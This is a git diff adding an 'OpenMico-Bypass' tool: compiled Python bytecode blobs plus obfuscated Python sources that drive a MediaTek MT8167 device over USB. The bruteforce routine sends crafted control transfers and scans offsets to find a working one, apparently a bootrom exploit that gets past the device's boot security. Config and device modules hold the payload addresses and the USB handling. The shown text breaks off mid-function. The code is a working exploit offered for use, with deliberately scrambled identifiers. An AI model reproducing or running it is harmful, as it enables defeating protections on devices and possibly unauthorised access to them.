zukt$BEFtH~?{euZ_VQdirqdF?EbDwFw``E41Rl%aiTup2fJb#_5CQHRaN8sQCwuVq z8dRV`1%FK~sAg4F^Vz>vWAO&WTK#X;oX{t;$u+rrR?!+(#Md6P6DC&pmBboApBQv| z4_|fwT`iulaVLM_N$qd%-pslD^~A#Z2h4;Hudl-Atyq5uwq2AQl~q=0pdGLyY1awSPKdpvfz#bBuXSquu|m3!>y0I z4`Wxv-3Q)dTa3E*qNkxB**xxUMZr+GaqRMLe>}9~xO-#$^Zna5Zhdt9Q#W*l=Ul&= z^JC$3`(h;BK_nb^eK<~w8@?U%xxHD1NY7zG-!Euv_>p7#@#gxe+TyP4o(~Fy7 zB%59sOWXHd-UOG;VI*Yp`)M`@KiS(r1lFGwfTZ+phHsEHkzidf=tlM<>>fNl$x7-3 z$LDB5yf%F6-piLD!5>X#Ah`o%f4g-#tv|J;^DU1KdN$`+da7~vyR;y^z>P*SE!{tI z+@bWMFx5vW(R+?ON*jS4+6ON0Ilk=$Juj557}$=R);^I^KwZ+kFGM8L%9o=MedRY3 zN(*e6>R4V{b)@inQrKZUa7Aj^LfGTfbOPSvc4`XO<{#Wl4UiwW0wIu=@Xwa3X}%k_ z%8TYhkMmB$1}t@30041uiU$Nk4wQDP^HDHVf*dEPjxsdQ?GZhSo3oG$K~Q_41=3tW z>7&-Ug3?_WDkms{an3?hHAb?40t)WuK259vj(yn?8tu$sCWK$?2BU)EI?60K$N72+3;oEJ%Bn;`3tXjKX*D}7 zTPbU+`2N%O*7FyeZ{5%Z&)M7^jw^61CklcnEVepH8f;Iw`{YBBVH{Fu2NdK5FFTa_ zNC+>WQmeMnoUjvqAS9QfXI^4s3a1Fmg&)QlJK|U*(PQW0n3By@9o#-6WV=r*u z07Nj%X-r6<<7Tt#^Thb##v2AK;arlUqkx=E6^3>t=BW4-=ZJc1i2noS?xWjT%1NjywJPUg}9*?DBy-UR}{^a1O)O856DdTrO|u>u!75wVvlI`Dwzqx zbmFun$xbSr#{P(7j}dPO{ZN3$XK+g2v1UFH8G%+`6%hWP1d(j}Zkf2D=pd7uA}js^ DgTx63 literal 0 HcmV?d00001 diff --git a/OpenMico-Bypass/src/__pycache__/config.cpython-39.pyc b/OpenMico-Bypass/src/__pycache__/config.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..417c10c5b07d8d65a118e17e68913b0eab1b072d GIT binary patch literal 1640 zcmb7^&yO256vyrPmC0;2n{1bg;m(mm(xyWE!3ZKwC0J^BhK>y{ENuCr|S4xmr#>uP#dDq9?;@zCeCbOwKPCTAE^TA8h!(CqhCpacThOoC^*)_!5;A18ZEx^81J?i@G5CKjh^HrZ>$?(fjGTH@g6+LiX~qS5LJcS$`&f zw4sA+16=e5vB)!H?~E$*<$O`dxh#zoUno^68%--U=f;5tl)$oXNFFFVxDdAZ(E{y! zcW*Fo*z3@RRjM`w6dG|MsRVk*YtyUFhSuv{f1|#z*08(!`W=LzD++WDS8$S#p`sX^ zZs*(s2Uvka1#p9$N8tF*@kHR9C*TCm@kQvI6r9jGfry+_fD<_<6bLxchAL*bEAdl(Rcf)5z!H~(L{hc#ZquIU4FXKhCH zz5md^3x9PCUEhPSrH?ysdr#il6)co~*T#&Md@dQY31jn0EDO{v#(r4xqQ2u+WBt4| z_JA>7mX+ZquS(6>ZAh%Ije48QAxzQLi^6H|6cV0f<*I3075ZJU5;%3+AD%$`#bF#P a%<6mU2p>az+pBDRR$-pK5H; ze&@_3MN0BEs3gw+%$+&sJKs5TDQ{vTZQv*UH@~v`i))7QFH{-+u~E5#Pxv7cVFnBXPRHZM%i}yQQ_gTcQJxTq za#keElOk1~5^j0=TZR}D=_iIr?^xxWunRBQw7GKnZ}-p$z`W_lqvuum6h=fR@eo2p6C0_=JCiL>OJ8qEk~@JxiFoCR%J^A$3#&X_Ct+ zPF*!tOAC9=l0WJ^KzY2E;dFx2teV`#eBta`+g2y5#(Gm-Yu7Z5_l;)GG1T-{$292o z1EXmbjjkmUCk)KYiR4M6UwUhQ^k>7Pg@I$GN|AZ(W@I&0$C{gaX8vmA+_}2=ZsAzu zYzY5hWK)vxr1Z8TS8gtCEHC>q8f#0x-tq*Bsl{8jZ!Fwfj8ZCS_^k~UB{sq(u@

vQpnYm2qgEqmCABZ_bZiX+7qH8>h%h`{Hkin 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 QM{m4cM58*V_e=Eqzp+eL^#A|> literal 0 HcmV?d00001 diff --git a/OpenMico-Bypass/src/__pycache__/exploit.cpython-39.pyc b/OpenMico-Bypass/src/__pycache__/exploit.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..26a78479ec49ba7e51835be5e194c274c556c381 GIT binary patch literal 3139 zcma)8&2JmW6`$D;eym7}mK8~s6^C(pVSyO5oVI~$7^#!AMSw^}EF;N61+m&$$&{8{ zW_A=?>@o-<0irL3Pel(!A@-KPrxtC^j7Gw=KNo*2~Y z9>e4P{b$q3B4gjs=JI1<^A1M(HYULYk6EAlyl?pyr@a;1eaCn7+Kye{1UTUOQzWv>0e=nxPEHy za$yPkq&jxQn%ev;pp0ZPZYMnZ#?yf6JqI^<)W>5G&6P0E5%*Be!4>Eh-dd}rd zWsB-D=WJq~ITKg8s)X~h@Qy9viMeBY3fDlX$Uo66yk#~n;cj(8aw;nEMHVNGLLfkxJ;*8!;*}&?sQ3H|G@f+80=dDXR{#@u-`k@Z7`ml%%#U!f%;x{(7 zLc;3#L+cX8RgAQWX@cU(SjGi|r!F|G4aq_Onze2J%I0RL)7jKd2g}V4NG}LD#hcf{ z$5D9Dl~H;atFL*kx#)}@V%n50B!2hNyLY!ArIAdxf7?3<GthgA8x&U`{%!S^Ec5TlD+WF2Zo-?a65WBjFX0Dpv62LXeix*{p#4e|-7x>mh~t{2>kV7&_BFj2^84Q^+=6YYI$b z$0rU|C=gb=j6Q{KraQ+6V;41KQ`02AiLIP7N0b!R2fEoZnkqVpi*E(J3mppG1eK?G z(6dAhTy>&+whn|f4w(EGWLI87_8j_DC39EUOUV8s`9&C}EM?9VD1J!~=Ap%YNiE-= zYY`3je4$A&)J)UVjGRNfXH;Ud*J)~D%K3vCrEx~s`i|e5eMuWiPLBblGs^tz9hxY4 z?Xq7A`=Tp?ydKba6BFYWZ{RKAt?{?`BCizR1ScTMDV}fTLQf0(F?SdTHwq;}GPFhwe}t=whUl zSd9X{VcLS_n;u}CBgZ?sZyIxGtAk>^rmUOtuiT4+{*DOl-vR007;JRy2mR~(&ghM} zw{w{8ka2@VwR!^>8^@7o?IyA{Or(O%vndI0V4CSxL;YS}!Sw4k-=aTjW2^mo-h2|M z@Ucktx`7bXh5afa3erWKS1uw(e&*#TvZtau>yl8e;g`=3gCpwV7u@dWf$VnVHM+5i z$#F{XpgRkKH$pC@Q)iQC#epQ)%35(BWI8Z7 zEYhzD8vMjeQt1X^!F-Ei1;q#_@{3z^O~2Y4Vk~rns!4{=P&YdUiY0mD+zaCm)t98^ zB&om*@X7_s2#V<^m>6$Z4QuJDhuW*~HB_I+S1bp$cN43o9t)T~oLJb?X!4)(C9B0( z_yRZ<`3+EOx^}6Csd87i{3T?!E4hb%;iqYX$H3Kd{jg literal 0 HcmV?d00001 diff --git a/OpenMico-Bypass/src/__pycache__/logger.cpython-39.pyc b/OpenMico-Bypass/src/__pycache__/logger.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..4b39ce2f07f374fd7ce486c1e3eca607e0e23552 GIT binary patch literal 502 zcmYjOJ4*vW5T3b5JfngJ!A@*b7?Q#VA|ggm1U7Qc)bKPAN_s8bgiw zVov8CQqc^R_E@O6ikiG;Cuv)|nTQgloiyW#cH1ISylB@J{IXvzllY{31HT~?H%SVb z(6{q*()V9MOw*{Jr`4_CLUJL4!{{j#tzbWGCvh4w8C26|Cb*QG1>dg?Dy8G|&C2@5 z>H$xH$sA;G&duv`wbjgfyQDSU?YFQOuBCw1i7)Vo%!t1G8D}Z8uZa NiusP&k2FO*`~p${bX))c literal 0 HcmV?d00001 diff --git a/OpenMico-Bypass/src/bruteforce.py b/OpenMico-Bypass/src/bruteforce.py new file mode 100644 index 0000000..508e52a --- /dev/null +++ b/OpenMico-Bypass/src/bruteforce.py @@ -0,0 +1,48 @@ +from src .common import to_bytes ,from_bytes #line:1 +import usb #line:3 +import array #line:4 +import struct #line:5 +def bruteforce (O0OOOOO00OOOO000O ,OO00OO0O000000O0O ,O00O00OOOOO0O0OO0 ,dump =False ):#line:7 + O0000000O0O00O0O0 =OO00OO0O000000O0O .watchdog_address +0x50 #line:9 + try :#line:13 + O0OOOOO00OOOO000O .dev .timeout =1 #line:14 + except Exception :#line:15 + pass #line:16 + OOO00OO0000O0O00O =O0OOOOO00OOOO000O .udev #line:18 + try :#line:20 + OOO00OO0000O0O00O ._ctx .managed_claim_interface =lambda *O0OOO0O0OOO0O00OO ,**O00O00000OOOO0O0O :None #line:22 + except AttributeError as OOO0OO000OO0000O0 :#line:23 + raise RuntimeError ("libusb is not installed for port {}".format (O0OOOOO00OOOO000O .dev .port ))from OOO0OO000OO0000O0 #line:24 + OOOO0OO0O00OO00OO =OOO00OO0000O0O00O .ctrl_transfer (0xA1 ,0x21 ,0 ,0 ,7 )+array .array ('B',[0 ])#line:26 + if dump :#line:28 + try :#line:29 + O0OOOOO00OOOO000O .cmd_da (0 ,0 ,1 )#line:30 + O0OOOOO00OOOO000O .read32 (O0000000O0O00O0O0 )#line:31 + except :#line:32 + pass #line:33 + for OO00OO0000O0000OO in range (4 ):#line:35 + OOO00OO0000O0O00O .ctrl_transfer (0x21 ,0x20 ,0 ,0 ,OOOO0OO0O00OO00OO +array .array ('B',to_bytes (O00O00OOOOO0O0OO0 -6 +(4 -OO00OO0000O0000OO ),4 ,'<')))#line:36 + OOO00OO0000O0O00O .ctrl_transfer (0x80 ,0x6 ,0x0200 ,0 ,9 )#line:37 + OOO0O0O00O00OOOOO =bytearray (O0OOOOO00OOOO000O .cmd_da (0 ,0 ,0x20000 ))#line:39 + OOO0O0O00O00OOOOO [O00O00OOOOO0O0OO0 -1 :]=b"\x00"+to_bytes (0x100030 ,4 ,'<')+OOO0O0O00O00OOOOO [O00O00OOOOO0O0OO0 +4 :]#line:40 + return OOO0O0O00O00OOOOO #line:41 + else :#line:43 + try :#line:44 + O0OOOOO00OOOO000O .cmd_da (0 ,0 ,1 )#line:45 + O0OOOOO00OOOO000O .read32 (O0000000O0O00O0O0 )#line:46 + except :#line:47 + pass #line:48 + for OOO0O0O0O0O0O000O in range (O00O00OOOOO0O0OO0 ,0xffff ,4 ):#line:50 + for OO00OO0000O0000OO in range (3 ):#line:51 + OOO00OO0000O0O00O .ctrl_transfer (0x21 ,0x20 ,0 ,0 ,OOOO0OO0O00OO00OO +array .array ('B',to_bytes (OOO0O0O0O0O0O000O -5 +(3 -OO00OO0000O0000OO ),4 ,'<')))#line:52 + OOO00OO0000O0O00O .ctrl_transfer (0x80 ,0x6 ,0x0200 ,0 ,9 )#line:53 + try :#line:54 + if (len (O0OOOOO00OOOO000O .cmd_da (0 ,0 ,0x40 )))==0x40 :#line:55 + return (True ,OOO0O0O0O0O0O000O )#line:56 + except RuntimeError :#line:57 + try :#line:58 + O0OOOOO00OOOO000O .read32 (O0000000O0O00O0O0 )#line:59 + except :#line:60 + return (False ,OOO0O0O0O0O0O000O +4 )#line:61 + except Exception :#line:62 + return (False ,OOO0O0O0O0O0O000O +4 )#line:63 diff --git a/OpenMico-Bypass/src/common.py b/OpenMico-Bypass/src/common.py new file mode 100644 index 0000000..39740eb --- /dev/null +++ b/OpenMico-Bypass/src/common.py @@ -0,0 +1,7 @@ +import struct #line:1 +def raise_ (O0O0OOOOOO0OOOO00 ):#line:4 + raise O0O0OOOOOO0OOOO00 #line:5 +def to_bytes (OO0O00O00O0OO0OO0 ,size =1 ,endian ='>'):#line:8 + return {1 :lambda :struct .pack (endian +'B',OO0O00O00O0OO0OO0 ),2 :lambda :struct .pack (endian +'H',OO0O00O00O0OO0OO0 ),4 :lambda :struct .pack (endian +'I',OO0O00O00O0OO0OO0 )}.get (size ,lambda :raise_ (RuntimeError ("invalid size")))()#line:13 +def from_bytes (O0O00OO0O0000OOOO ,size =1 ,endian ='>'):#line:16 + return {1 :lambda :struct .unpack (endian +'B',O0O00OO0O0000OOOO )[0 ],2 :lambda :struct .unpack (endian +'H',O0O00OO0O0000OOOO )[0 ],4 :lambda :struct .unpack (endian +'I',O0O00OO0O0000OOOO )[0 ]}.get (size ,lambda :raise_ (RuntimeError ("invalid size")))()#line:21 diff --git a/OpenMico-Bypass/src/config.py b/OpenMico-Bypass/src/config.py new file mode 100644 index 0000000..76c7adc --- /dev/null +++ b/OpenMico-Bypass/src/config.py @@ -0,0 +1,43 @@ +import json5 #line:1 +class Config :#line:4 + watchdog_address :int =0x10007000 #line:5 + uart_base :int =0x11002000 #line:6 + payload_address :int =0x100A00 #line:7 + var_0 :int =None #line:8 + var_1 :int =0xA #line:9 + payload :str #line:10 + crash_method :int =0 #line:11 + ptr_usbdl :int =None #line:12 + ptr_da :int =None #line:13 + def default (O00OO000000O000OO ,O0000O0O000OOOOO0 ):#line:15 + O00OO0000OOO0O00O =open ("default_config.json5")#line:16 + O00OO000000O000OO .from_file (O00OO0000OOO0O00O ,O0000O0O000OOOOO0 )#line:17 + O00OO0000OOO0O00O .close ()#line:18 + return O00OO000000O000OO #line:20 + def from_file (OOOOO0OOOOOOO000O ,OOO0O0OO000O0O000 ,OO00OOOO0OOO0O000 ):#line:22 + OO00OOOO0OOO0O000 =hex (OO00OOOO0OOO0O000 )#line:23 + OOO0O0OO000O0O000 =json5 .load (OOO0O0OO000O0O000 )#line:25 + if OO00OOOO0OOO0O000 in OOO0O0OO000O0O000 :#line:27 + OOOOO0OOOOOOO000O .from_dict (OOO0O0OO000O0O000 [OO00OOOO0OOO0O000 ])#line:28 + else :#line:29 + raise NotImplementedError ("Can't find {} hw_code in config".format (OO00OOOO0OOO0O000 ))#line:30 + return OOOOO0OOOOOOO000O #line:32 + def from_dict (O0OO00OO000O0OOOO ,O0O000O0OO0OO00O0 ):#line:34 + if "watchdog_address"in O0O000O0OO0OO00O0 :#line:35 + O0OO00OO000O0OOOO .watchdog_address =O0O000O0OO0OO00O0 ["watchdog_address"]#line:36 + if "uart_base"in O0O000O0OO0OO00O0 :#line:38 + O0OO00OO000O0OOOO .uart_base =O0O000O0OO0OO00O0 ["uart_base"]#line:39 + if "payload_address"in O0O000O0OO0OO00O0 :#line:41 + O0OO00OO000O0OOOO .payload_address =O0O000O0OO0OO00O0 ["payload_address"]#line:42 + if "var_0"in O0O000O0OO0OO00O0 :#line:44 + O0OO00OO000O0OOOO .var_0 =O0O000O0OO0OO00O0 ["var_0"]#line:45 + if "var_1"in O0O000O0OO0OO00O0 :#line:47 + O0OO00OO000O0OOOO .var_1 =O0O000O0OO0OO00O0 ["var_1"]#line:48 + if "crash_method"in O0O000O0OO0OO00O0 :#line:50 + O0OO00OO000O0OOOO .crash_method =O0O000O0OO0OO00O0 ["crash_method"]#line:51 + if "ptr_usbdl"in O0O000O0OO0OO00O0 :#line:53 + O0OO00OO000O0OOOO .ptr_usbdl =O0O000O0OO0OO00O0 ["ptr_usbdl"]#line:54 + if "ptr_da"in O0O000O0OO0OO00O0 :#line:56 + O0OO00OO000O0OOOO .ptr_da =O0O000O0OO0OO00O0 ["ptr_da"]#line:57 + O0OO00OO000O0OOOO .payload =O0O000O0OO0OO00O0 ["payload"]#line:59 + return O0OO00OO000O0OOOO #line:61 diff --git a/OpenMico-Bypass/src/device.py b/OpenMico-Bypass/src/device.py new file mode 100644 index 0000000..802a084 --- /dev/null +++ b/OpenMico-Bypass/src/device.py @@ -0,0 +1,271 @@ +from src .common import to_bytes ,from_bytes #line:1 +from src .logger import log #line:2 +import usb #line:3 +import usb .backend .libusb1 #line:4 +import usb .backend .libusb0 #line:5 +from ctypes import c_void_p ,c_int #line:6 +import array #line:7 +import os #line:8 +import time #line:10 +BAUD =115200 #line:12 +TIMEOUT =1 #line:13 +VID ="0E8D"#line:14 +PID ="0003"#line:15 +class Device :#line:18 + def __init__ (O00OOO0OOOOOO00O0 ,port =None ):#line:19 + O00OOO0OOOOOO00O0 .udev =None #line:20 + O00OOO0OOOOOO00O0 .dev =None #line:21 + O00OOO0OOOOOO00O0 .rxbuffer =array .array ('B')#line:22 + O00OOO0OOOOOO00O0 .preloader =False #line:23 + O00OOO0OOOOOO00O0 .timeout =TIMEOUT #line:24 + O00OOO0OOOOOO00O0 .usbdk =False #line:25 + O00OOO0OOOOOO00O0 .libusb0 =False #line:26 + if os .name =='nt':#line:28 + try :#line:29 + O0000O00O000O0000 =os .path .join (os .path .abspath (os .path .dirname (__file__ )),"..")#line:30 + try :#line:31 + os .add_dll_directory (O0000O00O000O0000 )#line:32 + except Exception :#line:33 + pass #line:34 + os .environ ['PATH']=O0000O00O000O0000 +';'+os .environ ['PATH']#line:35 + except Exception :#line:36 + pass #line:37 + def find (O0OOO00OOO0OO0OO0 ,wait =False ):#line:39 + if O0OOO00OOO0OO0OO0 .dev :#line:40 + raise RuntimeError ("Device already found")#line:41 + try :#line:43 + O0OOO00OOO0OO0OO0 .backend =usb .backend .libusb1 .get_backend (find_library =lambda OO0OO00O00000OO0O :"libusb-1.0.dll")#line:44 + if O0OOO00OOO0OO0OO0 .backend :#line:45 + try :#line:46 + O0OOO00OOO0OO0OO0 .backend .lib .libusb_set_option .argtypes =[c_void_p ,c_int ]#line:47 + O0OOO00OOO0OO0OO0 .backend .lib .libusb_set_option (O0OOO00OOO0OO0OO0 .backend .ctx ,1 )#line:48 + O0OOO00OOO0OO0OO0 .usbdk =True #line:49 + except ValueError :#line:50 + log ("Failed enabling UsbDk mode, please use 64-Bit Python and 64-Bit UsbDk")#line:51 + else :#line:52 + O0OOO00OOO0OO0OO0 .backend =usb .backend .libusb1 .get_backend ()#line:53 + except usb .core .USBError :#line:54 + O0OOO00OOO0OO0OO0 .backend =usb .backend .libusb1 .get_backend ()#line:55 + log ("MediaTek MT8167 Generic Bypass by Yagami Ko")#line:57 + log ("Waiting for device")#line:58 + if wait :#line:59 + O0OOO00OOO0OO0OO0 .udev =usb .core .find (idVendor =int (VID ,16 ),backend =O0OOO00OOO0OO0OO0 .backend )#line:60 + while O0OOO00OOO0OO0OO0 .udev :#line:61 + time .sleep (0.25 )#line:62 + O0OOO00OOO0OO0OO0 .udev =usb .core .find (idVendor =int (VID ,16 ),backend =O0OOO00OOO0OO0OO0 .backend )#line:63 + O0OOO00OOO0OO0OO0 .udev =None #line:64 + while not O0OOO00OOO0OO0OO0 .udev :#line:65 + O0OOO00OOO0OO0OO0 .udev =usb .core .find (idVendor =int (VID ,16 ),backend =O0OOO00OOO0OO0OO0 .backend )#line:66 + if O0OOO00OOO0OO0OO0 .udev :#line:67 + break #line:68 + time .sleep (0.25 )#line:69 + log ("Found device = {0:04x}:{1:04x}".format (O0OOO00OOO0OO0OO0 .udev .idVendor ,O0OOO00OOO0OO0OO0 .udev .idProduct ))#line:71 + O0OOO00OOO0OO0OO0 .dev =O0OOO00OOO0OO0OO0 #line:72 + try :#line:74 + if O0OOO00OOO0OO0OO0 .udev .is_kernel_driver_active (0 ):#line:75 + O0OOO00OOO0OO0OO0 .udev .detach_kernel_driver (0 )#line:76 + if O0OOO00OOO0OO0OO0 .udev .is_kernel_driver_active (1 ):#line:78 + O0OOO00OOO0OO0OO0 .udev .detach_kernel_driver (1 )#line:79 + except (NotImplementedError ,usb .core .USBError ):#line:81 + pass #line:82 + try :#line:84 + O0OOO00OOO0OO0OO0 .configuration =O0OOO00OOO0OO0OO0 .udev .get_active_configuration ()#line:85 + except (usb .core .USBError ,NotImplementedError )as OO0O0OOO0OO0O0000 :#line:86 + if type (OO0O0OOO0OO0O0000 )is usb .core .USBError and OO0O0OOO0OO0O0000 .errno ==13 or type (OO0O0OOO0OO0O0000 )is NotImplementedError :#line:87 + log ("Failed to enable libusb1, is UsbDk installed?")#line:88 + log ("Falling back to libusb0 (kamakiri only)")#line:89 + O0OOO00OOO0OO0OO0 .backend =usb .backend .libusb0 .get_backend ()#line:90 + O0OOO00OOO0OO0OO0 .udev =usb .core .find (idVendor =int (VID ,16 ),backend =O0OOO00OOO0OO0OO0 .backend )#line:91 + O0OOO00OOO0OO0OO0 .libusb0 =True #line:92 + try :#line:93 + O0OOO00OOO0OO0OO0 .udev .set_configuration ()#line:94 + except AttributeError :#line:95 + log ("Failed to enable libusb0")#line:96 + exit (1 )#line:97 + if O0OOO00OOO0OO0OO0 .udev .idProduct !=int (PID ,16 ):#line:99 + O0OOO00OOO0OO0OO0 .preloader =True #line:100 + else :#line:101 + try :#line:102 + O0OOO00OOO0OO0OO0 .udev .set_configuration (1 )#line:103 + usb .util .claim_interface (O0OOO00OOO0OO0OO0 .udev ,0 )#line:104 + usb .util .claim_interface (O0OOO00OOO0OO0OO0 .udev ,1 )#line:105 + except usb .core .USBError :#line:106 + pass #line:107 + OOO0OOOOO00OO0000 =usb .util .find_descriptor (O0OOO00OOO0OO0OO0 .udev .get_active_configuration (),bInterfaceClass =0xA )#line:109 + O0OOO00OOO0OO0OO0 .ep_in =usb .util .find_descriptor (OOO0OOOOO00OO0000 ,custom_match =lambda OO0OO00O0000OO0O0 :usb .util .endpoint_direction (OO0OO00O0000OO0O0 .bEndpointAddress )==usb .util .ENDPOINT_IN )#line:110 + O0OOO00OOO0OO0OO0 .ep_out =usb .util .find_descriptor (OOO0OOOOO00OO0000 ,custom_match =lambda OOOOOO00OOO0OO0OO :usb .util .endpoint_direction (OOOOOO00OOO0OO0OO .bEndpointAddress )==usb .util .ENDPOINT_OUT )#line:111 + try :#line:113 + O0OOO00OOO0OO0OO0 .udev .ctrl_transfer (0x21 ,0x20 ,0 ,0 ,array .array ('B',to_bytes (BAUD ,4 ,'<')+b"\x00\x00\x08"))#line:114 + except usb .core .USBError :#line:115 + pass #line:116 + return O0OOO00OOO0OO0OO0 #line:118 + @staticmethod #line:120 + def check (O0O0OOOOO0OOO0000 ,O000O000O00OO0OO0 ):#line:121 + if O0O0OOOOO0OOO0000 !=O000O000O00OO0OO0 :#line:122 + if type (O0O0OOOOO0OOO0000 )==bytes :#line:123 + O0O0OOOOO0OOO0000 ="0x"+O0O0OOOOO0OOO0000 .hex ()#line:124 + else :#line:125 + O0O0OOOOO0OOO0000 =hex (O0O0OOOOO0OOO0000 )#line:126 + if type (O000O000O00OO0OO0 )==bytes :#line:128 + O000O000O00OO0OO0 ="0x"+O000O000O00OO0OO0 .hex ()#line:129 + else :#line:130 + O000O000O00OO0OO0 =hex (O000O000O00OO0OO0 )#line:131 + raise RuntimeError ("Unexpected output, expected {} got {}".format (O000O000O00OO0OO0 ,O0O0OOOOO0OOO0000 ))#line:133 + def close (O0000O000OO0O00O0 ):#line:135 + O0000O000OO0O00O0 .dev =None #line:136 + O0000O000OO0O00O0 .rxbuffer =array .array ('B')#line:137 + try :#line:138 + usb .util .release_interface (O0000O000OO0O00O0 .udev ,0 )#line:139 + usb .util .release_interface (O0000O000OO0O00O0 .udev ,1 )#line:140 + except Exception :#line:141 + pass #line:142 + if not O0000O000OO0O00O0 .usbdk :#line:143 + try :#line:144 + O0000O000OO0O00O0 .udev .reset ()#line:145 + except Exception :#line:146 + pass #line:147 + try :#line:148 + O0000O000OO0O00O0 .udev .attach_kernel_driver (0 )#line:149 + except Exception :#line:150 + pass #line:151 + try :#line:152 + O0000O000OO0O00O0 .udev .attach_kernel_driver (1 )#line:153 + except Exception :#line:154 + pass #line:155 + if not O0000O000OO0O00O0 .usbdk :#line:156 + try :#line:157 + usb .util .dispose_resources (O0000O000OO0O00O0 .udev )#line:158 + except Exception :#line:159 + pass #line:160 + O0000O000OO0O00O0 .udev =None #line:161 + time .sleep (1 )#line:162 + def handshake (O0OO00000OOO0OO0O ):#line:164 + OOO00O000O000O00O 